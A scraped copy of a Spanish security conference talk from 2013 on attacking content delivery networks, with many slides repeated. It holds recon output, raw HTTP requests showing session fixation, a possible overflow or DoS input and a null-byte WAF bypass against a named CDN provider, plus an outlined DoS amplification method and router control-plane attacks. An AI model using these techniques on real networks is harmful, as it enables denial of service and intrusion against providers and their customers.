Lab 6.7.1UNAD
 
7.1.2.4 packet tracer configuring vp ns (optional) instructions
7.1.2.4 packet tracer   configuring vp ns (optional) instructions7.1.2.4 packet tracer   configuring vp ns (optional) instructions
7.1.2.4 packet tracer configuring vp ns (optional) instructions
Jaab Mikrotik
 
Rompiendo el protocolo: Usos y abusos de TCP/IP
Rompiendo el protocolo: Usos y abusos de TCP/IPRompiendo el protocolo: Usos y abusos de TCP/IP
Rompiendo el protocolo: Usos y abusos de TCP/IP
Daniel Torres
 
Guia de configuracion cisco 881 w logicalis
Guia de configuracion cisco 881 w   logicalisGuia de configuracion cisco 881 w   logicalis
Guia de configuracion cisco 881 w logicalis
asesinoevil
 
Curso: Comunicación de datos y redes: 07 Nueva tecnología
Curso: Comunicación de datos y redes: 07 Nueva tecnologíaCurso: Comunicación de datos y redes: 07 Nueva tecnología
Curso: Comunicación de datos y redes: 07 Nueva tecnología
Jack Daniel Cáceres Meza
 
Autodiagnostico 5 Trimestre
Autodiagnostico 5 TrimestreAutodiagnostico 5 Trimestre
Autodiagnostico 5 Trimestrecyberleon95
 
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteo
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteoCurso: Redes y telecomunicaciones: 10 Protocolos de ruteo
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteo
Jack Daniel Cáceres Meza
 
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
Andy Juan Sarango Veliz
 
STP & SYSLOG
STP & SYSLOGSTP & SYSLOG
STP & SYSLOG
miguelangelperezhenao
 
Enrutamiento dinamico con eigrp ospf
Enrutamiento dinamico con eigrp ospfEnrutamiento dinamico con eigrp ospf
Enrutamiento dinamico con eigrp ospfyimfer1
 
Modelo TCP/IP.pdf
Modelo TCP/IP.pdfModelo TCP/IP.pdf
Modelo TCP/IP.pdf
GonzaloDavidReyes
 
Autodiagnóstico
Autodiagnóstico Autodiagnóstico
Autodiagnóstico
Yimy Pérez Medina
 
8.3.3.3 lab collecting 6 taller
8.3.3.3 lab   collecting  6 taller8.3.3.3 lab   collecting  6 taller
8.3.3.3 lab collecting 6 tallermanchegow
 
Configuracion De Eigrp Y Loopback
Configuracion De Eigrp Y LoopbackConfiguracion De Eigrp Y Loopback
Configuracion De Eigrp Y LoopbackCésar Nuñez
 
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Remigio Salvador Sánchez
 
EtherBERT_2023.09.23_15.47.35 con error.pdf
EtherBERT_2023.09.23_15.47.35 con error.pdfEtherBERT_2023.09.23_15.47.35 con error.pdf
EtherBERT_2023.09.23_15.47.35 con error.pdf
RodolfoVictorBarrios
 

Similar a Adivina quién viene a CDNear esta noche (20)

Administración de red servidores y seguridad
Administración de red servidores y seguridadAdministración de red servidores y seguridad
Administración de red servidores y seguridad
 
Enrutamiento Dinámico con RIPv1 y RIPv2
Enrutamiento Dinámico con RIPv1 y RIPv2Enrutamiento Dinámico con RIPv1 y RIPv2
Enrutamiento Dinámico con RIPv1 y RIPv2
 
Lab 6.7.1
Lab 6.7.1Lab 6.7.1
Lab 6.7.1
 
Lab 6.7.1
Lab 6.7.1Lab 6.7.1
Lab 6.7.1
 
7.1.2.4 packet tracer configuring vp ns (optional) instructions
7.1.2.4 packet tracer   configuring vp ns (optional) instructions7.1.2.4 packet tracer   configuring vp ns (optional) instructions
7.1.2.4 packet tracer configuring vp ns (optional) instructions
 
Rompiendo el protocolo: Usos y abusos de TCP/IP
Rompiendo el protocolo: Usos y abusos de TCP/IPRompiendo el protocolo: Usos y abusos de TCP/IP
Rompiendo el protocolo: Usos y abusos de TCP/IP
 
Guia de configuracion cisco 881 w logicalis
Guia de configuracion cisco 881 w   logicalisGuia de configuracion cisco 881 w   logicalis
Guia de configuracion cisco 881 w logicalis
 
Curso: Comunicación de datos y redes: 07 Nueva tecnología
Curso: Comunicación de datos y redes: 07 Nueva tecnologíaCurso: Comunicación de datos y redes: 07 Nueva tecnología
Curso: Comunicación de datos y redes: 07 Nueva tecnología
 
Autodiagnostico 5 Trimestre
Autodiagnostico 5 TrimestreAutodiagnostico 5 Trimestre
Autodiagnostico 5 Trimestre
 
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteo
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteoCurso: Redes y telecomunicaciones: 10 Protocolos de ruteo
Curso: Redes y telecomunicaciones: 10 Protocolos de ruteo
 
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
Capítulo 7 Lab 7-1, Configure Enrutamiento en instalaciones a la oficina sucu...
 
Stp spanning tree protocol.jpg
Stp  spanning tree protocol.jpgStp  spanning tree protocol.jpg
Stp spanning tree protocol.jpg
 
STP & SYSLOG
STP & SYSLOGSTP & SYSLOG
STP & SYSLOG
 
Enrutamiento dinamico con eigrp ospf
Enrutamiento dinamico con eigrp ospfEnrutamiento dinamico con eigrp ospf
Enrutamiento dinamico con eigrp ospf
 
Modelo TCP/IP.pdf
Modelo TCP/IP.pdfModelo TCP/IP.pdf
Modelo TCP/IP.pdf
 
Autodiagnóstico
Autodiagnóstico Autodiagnóstico
Autodiagnóstico
 
8.3.3.3 lab collecting 6 taller
8.3.3.3 lab   collecting  6 taller8.3.3.3 lab   collecting  6 taller
8.3.3.3 lab collecting 6 taller
 
Configuracion De Eigrp Y Loopback
Configuracion De Eigrp Y LoopbackConfiguracion De Eigrp Y Loopback
Configuracion De Eigrp Y Loopback
 
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)Firewall Casero con gnu/linux (Ubuntu Server 14.04)
Firewall Casero con gnu/linux (Ubuntu Server 14.04)
 
EtherBERT_2023.09.23_15.47.35 con error.pdf
EtherBERT_2023.09.23_15.47.35 con error.pdfEtherBERT_2023.09.23_15.47.35 con error.pdf
EtherBERT_2023.09.23_15.47.35 con error.pdf
 

Adivina quién viene a CDNear esta noche

  • 1. Adivina quién viene a CDNear esta noche Alejandro Nolla Felipe Martín NAVAJA NEGRA CONFERENCE 2013
  • 2. SHALL WE PLAY A GAME? Love to. How about attacking a CDN? WOULDN’T YOU PREFER A GOOD GAME OF CHESS?
  • 3. class AlejandroNolla(mandalorian): #---------------------------------------------------------------------def __init__(self): self.name = 'Alejandro Nolla Blanco' self.nickname = 'z0mbiehunt3r' self.role = 'Threat Intelligence Analyst' self.interests = ['networking', 'python', 'offensive security']
  • 4. Felipe Martín • • • • • Programador coj*nudo Y mejor amigo ;) Se ha currado toda la interfaz Troll friend is troll @fmartingr
  • 5. ¿Qué es y cómo funciona una red CDN? Servidor de origen www.dominio.com www.dominio.com
  • 6. Pero no toques, ¿por qué tocas? • • • • Utilización cada vez más habitual Falsa sensación de invulnerabilidad Mucho por aprender e investigar Aritmética básica + =
  • 7. Vectores de ataque Servidor de origen www.dominio.com
  • 8. Vectores de ataque Servidor de origen www.dominio.com
  • 9. Vectores de ataque Servidor de origen www.dominio.com
  • 10. Vectores de ataque Proveedor del servicio Servidor de origen www.dominio.com
  • 11. Target #1: Frontales CDN • • Geolocalización de IPs de servidores • Asociación geolocalización -> País servido • Detección de balanceadores de carga/WAF/IPS • Qué Resolución DNS masiva Identificación de servicios Resol. DNS Cómo Análisis tecn. Ident. servicios
  • 12. Nmap scan report for xxx.xxx.xxx.163 PORT STATE SERVICE REASON VERSION 20/tcp closed ftp-data reset 21/tcp closed ftp reset 25/tcp closed smtp reset 53/tcp closed domain reset 80/tcp open http syn-ack nginx 443/tcp open http syn-ack nginx 878/tcp closed unknown reset 3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0) 8786/tcp open http reset Django httpd (WSGIServer 0.1; Python 2.4.3) 10050/tcp open tcpwrapped syn-ack
  • 13. Nmap scan report for xxx.xxx.xxx.36 PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack nginx 1.0.14 443/tcp open http syn-ack nginx 1.0.14 2121/tcp open ftp syn-ack ProFTPD 1.3.3c 3333/tcp open ssh syn-ack OpenSSH 4.3 (protocol 2.0) 8080/tcp open http syn-ack Apache httpd 2.2.3 ((CentOS)) 8786/tcp open http syn-ack Django httpd (WSGIServer 0.1; Python 2.4.3) 10050/tcp open tcpwrapped syn-ack
  • 15. “Ecosistema” WAN • • • BGP • ASn / prefijos • Transit / Peering / IXP Routers • Protocolos • Fabricante • Características • Rol Topologías
  • 16. Jefe! Una de traceroute....
  • 17. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 18. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 19. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 20. Infiriendo la arquitectura • Cada prueba UDP utiliza un puerto de origen distinto 10  xxx.xxx.18.152  44  msec  48  msec  120  msec 11  xxx.xxx.18.197  44  msec      xxx.xxx.18.203  40  msec  44  msec 12  xxx.xxx.118.134  40  msec  44  msec      xxx.xxx.118.138  44  msec 13  xxx.xxx.240.195  44  msec  44  msec  40  msec xxx.xxx.18.203 xxx.xxx.118.138 xxx.xxx.18.152 xxx.xxx.240.195 xxx.xxx.18.197 xxx.xxx.118.134
  • 21. Resolución inversa DNS • • • Comúnmente utilizado para troubleshooting Puede proporcionar valiosa información xe-11-1-0.edge1.NewYork1.Level3.net • Fabricante: juniper • Tipo de interfaz: 10_gigabit_ethernet • Rol: peering • Localización: Nueva York • Propietario: level3
  • 22. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:*
  • 23. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:* Telnet
  • 24. Conexiones activas en el router 161/udp open snmp udp-response | snmp-netstat: | TCP xxx.xxx.xxx.34:23 xxx.xxx.xxx.202:49197 | TCP xxx.xxx.xxx.2:27692 xxx.xxx.xxx.1:179 | TCP xxx.xxx.xxx.196:26114 xxx.xxx.xxx.206:23 | TCP xxx.xxx.xxx.196:37388 xxx.xxx.xxx.150:179 | TCP xxx.xxx.xxx.203:12500 xxx.xxx.xxx.206:179 | TCP xxx.xxx.xxx.203:17543 xxx.xxx.xxx.205:179 | TCP xxx.xxx.xxx.203:32355 xxx.xxx.xxx.201:179 | TCP xxx.xxx.xxx.203:56588 xxx.xxx.xxx.33:179 | UDP xxx.xxx.xxx.196:123 *:* | UDP xxx.xxx.xxx.196:161 *:* |_ UDP xxx.xxx.xxx.196:162 *:* BGP
  • 25. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
  • 26. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received
  • 27. Interfaces en el router 161/udp open snmp udp-response | snmp-interfaces: | GigabitEthernet0/1 | IP address: xxx.xxx.xxx.196 Netmask: 255.255.255.248 | MAC address: 00:14:a8:00:00:2c (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 722.55 Mb sent, 4.19 Gb received | GigabitEthernet0/2 | IP address: yyy.yyy.yyy.2 Netmask: 255.255.255.252 | MAC address: 00:14:a8:00:00:2d (Cisco Systems) | Type: ethernetCsmacd Speed: 1 Gbps | Status: up | Traffic stats: 3.22 Gb sent, 3.13 Gb received | Loopback7 | IP address: xxx.xxx.xxx.203 Netmask: 255.255.255.255 | Type: softwareLoopback Speed: 4 Gbps | Status: up |_ Traffic stats: 0.00 Kb sent, 0.00 Kb received BGP/OSPF
  • 29. Latencia de red (serialización + buffering + propagación) • Serialización : • Tamaño de paquete / Velocidad del enlace • 1500 bytes / 1Gbps = 0.12ms de retardo • Buffering o encolado: • Depende de la congestión del interfaz • Propagación: • Velocidad de la luz en el vacío ~300,000km/seg • Índice de refracción de la fibra óptica ~1.48 • Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48)) • RTT mide el tiempo de ida y vuelta
  • 30. Latencia de red (serialización + buffering + propagación) • Serialización : • Tamaño de paquete / Velocidad del enlace • 1500 bytes / 1Gbps = 0.12ms de retardo • Buffering o encolado: • Depende de la congestión del interfaz • Propagación: • Velocidad de la luz en el vacío ~300,000km/seg • Índice de refracción de la fibra óptica ~1.48 • Velocidad de la luz en fibra óptica ~200,000km/seg (300,000*(1/1.48)) • RTT mide el tiempo de ida y vuelta
  • 33. IXP (Internet Exchange Point) • • • • Puntos de intercambio de tráfico La seguridad es responsabilidad de cada participante Localizaciones comunes para las principales redes CDN peeringdb.com: BBDD pública con información de peering • Peering públicos • Peering privados • Capacidades del enlace • Información variada sobre el tráfico
  • 34. IXP en el mapa de Internet
  • 35. Target #3: Servidor de origen • • • Necesitamos potenciales candidatos (ASn/rangos) Solicitar recurso no cacheable • GET / buscador/?query=consulta HTTP/1.1 Dos vías de análisis • Cabeceras HTTP • Contenido de la respuesta
  • 36. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 37. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 38. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 39. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 40. Análisis de cabeceras HTTP AKAMAI Servidor de Origen HTTP/1.1 200 OK HTTP/1.1 200 OK Server: IBM_HTTP_Server Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:20 GMT Content-Type: text/html Server: IBM_HTTP_Server Content-Length: 2032 Accept-Ranges: bytes Date: Sun, 20 Nov 2012 10:12:16 GMT Content-Length: 2032 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Content-Type: text/html
  • 41. Resultados en entorno real • • • • No somos vulnerables a DDoS, usamos CDN (ahí, provocando) Se descubrieron los servidores de origen • De producción • De pre-producción • Así como servidores de pruebas Vulnerables a múltiples ataques DoS Detección de balanceadores de carga • Y enumeración de IPs internas
  • 42. Resultados en entorno real • • • • No somos vulnerables a DDoS, usamos CDN (ahí, provocando) Se descubrieron los servidores de origen • De producción • De pre-producción • Así como servidores de pruebas Vulnerables a múltiples ataques DoS Detección de balanceadores de carga • Y enumeración de IPs internas
  • 43. Target #4: Proveedor servicio CDN • • • • • Notificadas múltiples vulnerabilidades Comunicación sólo hasta tener datos Rápidamente arregladas Múltiples intentos (infructuosos) de feedback Varias vulnerabilidades no notificadas :D
  • 44. XSS Reflejado / Almacenado
  • 45. Session Fixation GET / HTTP/1.1 Host: 190.93.240.253 ; __cfuid=cookie_tampering User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 [...] HTTP/1.1 409 Conflict Server: cloudflare-nginx Date: Sat, 06 Jul 2013 19:12:03 GMT Content-Type: text/html Connection: keep-alive Cache-Control: max-age=6 Expires: Sat, 06 Jul 2013 19:12:09 GMT CF-RAY: 89e9ab725d3024a Set-Cookie: __cfduid=d06b07472e09dc[...]fc71373137923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.240.253; __cfuid=cookie_tampering Content-Length: 2707
  • 46. Potencial DoS/BoF de servidor backend GET / HTTP/1.1 Host: 190.93.240.253 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBC [...] HTTP/1.1 504 Gateway Time-out Server: cloudflare-nginx Date: Sat, 06 Jul 2013 19:14:11 GMT Content-Type: text/html Content-Length Connection: keep-alive CF-RAY: 89e9ab725d3024a Set-Cookie: __cfduid=d06b[...]7923; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=. 240.253 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbc
  • 47. Posible bypass de WAF (no notificado) GET /api/v2/zstore/get?zsn=preset&z=aaaa.com</>&atok=1374[...]63 HTTP/1.1 Host: www.cloudflare.com [...] HTTP/1.1 200 OK Server: cloudflare-nginx [...] Content-Length: 71 {"request":{"act":"zstore_get"},"result":"error","msg":"Invalid zone."}
  • 48. Posible bypass de WAF (no notificado) GET /api/v2/zstore/get?zsn=preset&z=aaaa.com%00</>&atok=1374[...]63 HTTP/1.1 Host: www.cloudflare.com [...] HTTP/1.1 200 OK Server: cloudflare-nginx [...] Content-Length: 169 {"request":{"act":"zstore_get"},"result":"error","msg":"Could not find aaaa.comu0000&lt;/&gt; under your account. Domains must be signed up and active on CloudFlare."}
  • 52. Atacar un CDN • Mapear infraestructura existente • Comprender la cohesión • Identificar puntos débiles • “It’s not a bug, it’s a feature” • Comprender la arquitectura interna de los dispositivos
  • 53. El ataque de los cinco puntos de presión
  • 54. Network boundaries y relaciones BPG • Identificación de fronteras de la red: • Aplicación de políticas de enrutamiento • Zona crítica en cuanto a capacidad y funcionamiento del routing • 4 te1-2-10g.ar3.DCA3.gblx.net (67.17.108.146) • 5 sl-st21-ash-8-0-0.sprintlink.net (144.232.18.65) • Identificación de relación BGP • t2-1.peer01.loudoun.va.ena.net (207.191.187.106) • ip65-46-186-97.z186-46-65.customer.algx.net (65.46.186.97)
  • 55. Network boundaries y relaciones BPG Transit ISP ISP Backbone Peer ISP Cliente 2 Cliente 1
  • 56. Explotando las relaciones entre peers Peering Transit Provider A Provider B Provider C Multi-Homed Customer Customer Customer Customer Customer Customer Customer
  • 57. Explotando las relaciones entre peers Peering Transit Provider A Provider B Provider C Multi-Homed Customer Customer Customer Customer Customer Customer Customer
  • 58. CDN-minigun (amplificando, que es gerundio) • • • • Necesitamos asegurar el “hit” • Solicitar recurso no existente (forzamos un 404) • Solicitar recurso no cacheable • Jugamos con la cabecera “Vary” No necesitamos recibir la respuesta del CDN ;) Solicitamos recursos pesados Throughput: peticiones/sec * IPs origen * frontales CDN
  • 59. Arquitectura en los routers Imagen obtenida de http://wiki.nil.com/Control_and_Data_plane
  • 60. Procesamiento de paquetes Slow Path (Control Plane) • • • Protocolos de enrutamiento (Routing Information Database) Procesador RISC (Instrucciones en software) Maneja algunas excepciones (IP options, ICMP generation, etc) Fast Path (Data Plane) • • Paquetes enviados a través del router Circuitos integrados ASIC (Instrucciones en hardware)
  • 61. Atacando el control plane • • • ¿Fallo en el enlace? • Pérdida de sesión BGP • Efecto cascada (withdrawal de prefijos) Consumir CPU / buffers Low-Rate TCP-Targeted DoS / CXPST
  • 62. Conclusiones • • • Una red CDN es un conjunto de redes • Múltiples y diversos dispositivos • Diferentes políticas de seguridad Mayor superficie de ataque Son necesarios técnicas y ataques más elaboradas